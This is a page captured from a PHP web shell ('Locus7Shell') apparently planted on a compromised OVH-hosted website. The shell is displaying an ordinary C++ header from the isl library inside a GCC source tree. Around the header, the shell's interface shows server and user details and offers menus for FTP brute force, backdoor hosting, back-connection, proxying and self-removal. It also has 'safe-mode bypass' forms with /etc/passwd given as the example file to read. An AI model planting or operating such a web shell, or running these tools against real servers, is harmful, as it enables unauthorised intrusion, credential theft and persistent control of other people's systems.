Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/isl-0.24/interface/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     cpp.h (6.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#ifndef ISL_INTERFACE_CPP_H
#define ISL_INTERFACE_CPP_H

#include <iostream>
#include <string>
#include <vector>

#include "generator.h"

/* A generated C++ method derived from an isl function.
 *
 * "clazz" is the class to which the method belongs.
 * "fd" is the original isl function.
 * "name" is the name of the method, which may be different
 * from the default name derived from "fd".
 * "kind" is the type of the method.
 * "callback" stores the callback argument, if any, or NULL.
 */
struct Method {
    enum Kind {
        static_method,
        member_method,
        constructor,
    };

    Method(const isl_class &clazz, FunctionDecl *fd,
        const std::string &name);
    Method(const isl_class &clazz, FunctionDecl *fd);

    int c_num_params() const;
    virtual int num_params() const;
    virtual bool param_needs_copy(int pos) const;
    virtual clang::ParmVarDecl *get_param(int pos) const;
    virtual void print_param_use(ostream &os, int pos) const;
    bool is_subclass_mutator() const;
    static void print_arg_list(std::ostream &os, int start, int end,
        const std::function<void(int i)> &print_arg);
    void print_cpp_arg_list(std::ostream &os,
        const std::function<void(int i)> &print_arg) const;

    const isl_class &clazz;
    FunctionDecl *const fd;
    const std::string name;
    const enum Kind kind;
    ParmVarDecl *const callback;
};

/* A method that does not require its isl type parameters to be a copy.
 */
struct NoCopyMethod : Method {
    NoCopyMethod(const Method &method) : Method(method) {}

    virtual bool param_needs_copy(int pos) const override;
};

/* A generated method that performs one or more argument conversions and
 * then calls the original method.
 *
 * A ConversionMethod inherits from a NoCopyMethod, because
 * unlike methods that call an isl C function,
 * a conversion method never calls release() on an isl type argument,
 * so they can all be passed as const references.
 *
 * "this_type" is the name of the type to which "this" should be converted
 * (if different from clazz.name).
 * "get_param_fn" returns the method argument at position "pos".
 */
struct ConversionMethod : NoCopyMethod {
    ConversionMethod(const Method &method, const std::string &this_type,
        const std::function<clang::ParmVarDecl *(int pos)> &get_param);
    ConversionMethod(const Method &method, const std::string &this_type);
    ConversionMethod(const Method &method,
        const std::function<clang::ParmVarDecl *(int pos)> &get_param);
    virtual clang::ParmVarDecl *get_param(int pos) const override;

    void print_call(std::ostream &os, const std::string &ns) const;

    const std::string this_type;
    const std::function<clang::ParmVarDecl *(int pos)> get_param_fn;
};

/* A specialized generated C++ method for setting an enum.
 *
 * "enum_name" is a string representation of the enum value
 * set by this method.
 */
struct EnumMethod : public Method {
    EnumMethod(const isl_class &clazz, FunctionDecl *fd,
        const std::string &method_name, const std::string &enum_name);

    virtual int num_params() const override;
    virtual void print_param_use(ostream &os, int pos) const override;

    std::string enum_name;
};

/* A type printer for converting argument and return types,
 * as well as the class type,
 * to string representations of the corresponding types
 * in the C++ interface.
 */
struct cpp_type_printer {
    cpp_type_printer() {}

    virtual std::string isl_bool() const;
    virtual std::string isl_stat() const;
    virtual std::string isl_size() const;
    virtual std::string isl_namespace() const;
    virtual std::string class_type(const std::string &cpp_name) const;
    virtual std::string qualified(int arg, const std::string &cpp_type)
        const;
    std::string isl_type(int arg, QualType type) const;
    std::string generate_callback_args(int arg, QualType type, bool cpp)
        const;
    std::string generate_callback_type(int arg, QualType type) const;
    std::string param(int arg, QualType type) const;
    std::string return_type(const Method &method) const;
};

/* Generator for C++ bindings.
 */
class cpp_generator : public generator {
protected:
    struct class_printer;
public:
    cpp_generator(SourceManager &SM, set<RecordDecl *> &exported_types,
        set<FunctionDecl *> exported_functions,
        set<FunctionDecl *> functions);
private:
    void set_class_construction_types(isl_class &clazz);
    void set_construction_types();
    void copy_methods(isl_class &clazz, const std::string &name,
        const isl_class &super, const function_set &methods);
    void copy_super_methods(isl_class &clazz, const isl_class &super);
    void copy_super_methods(isl_class &clazz, set<string> &done);
    void copy_super_methods();
    bool is_implicit_conversion(const Method &cons);
    bool is_subclass(QualType subclass_type, const isl_class &class_type);
public:
    static string type2cpp(const isl_class &clazz);
    static string type2cpp(string type_string);
};

/* A helper class for printing method declarations and definitions
 * of a class.
 *
 * "os" is the stream onto which the methods are printed.
 * "clazz" describes the methods of the class.
 * "cppstring" is the C++ name of the class.
 * "generator" is the C++ interface generator printing the classes.
 * "declarations" is set if this object is used to print declarations.
 */
struct cpp_generator::class_printer {
    std::ostream &os;
    const isl_class &clazz;
    const std::string cppstring;
    cpp_generator &generator;
    const bool declarations;

    class_printer(std::ostream &os, const isl_class &clazz,
            cpp_generator &generator, bool declarations);

    void print_constructors();
    void print_methods();
    bool next_variant(FunctionDecl *fd, std::vector<bool> &convert);
    void print_method_variants(FunctionDecl *fd, const std::string &name);
    virtual bool want_descendent_overloads(const function_set &methods) = 0;
    void print_descendent_overloads(FunctionDecl *fd,
        const std::string &name);
    void print_method_group(const function_set &methods,
        const std::string &name);
    virtual void print_method(const Method &method) = 0;
    virtual void print_method(const ConversionMethod &method) = 0;
    virtual void print_get_method(FunctionDecl *fd) = 0;
    void print_set_enums(FunctionDecl *fd);
    void print_set_enums();
    ParmVarDecl *get_param(FunctionDecl *fd, int pos,
        const std::vector<bool> &convert);
    void print_method_header(const Method &method,
        const cpp_type_printer &type_printer);
};

#endif

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0053 ]--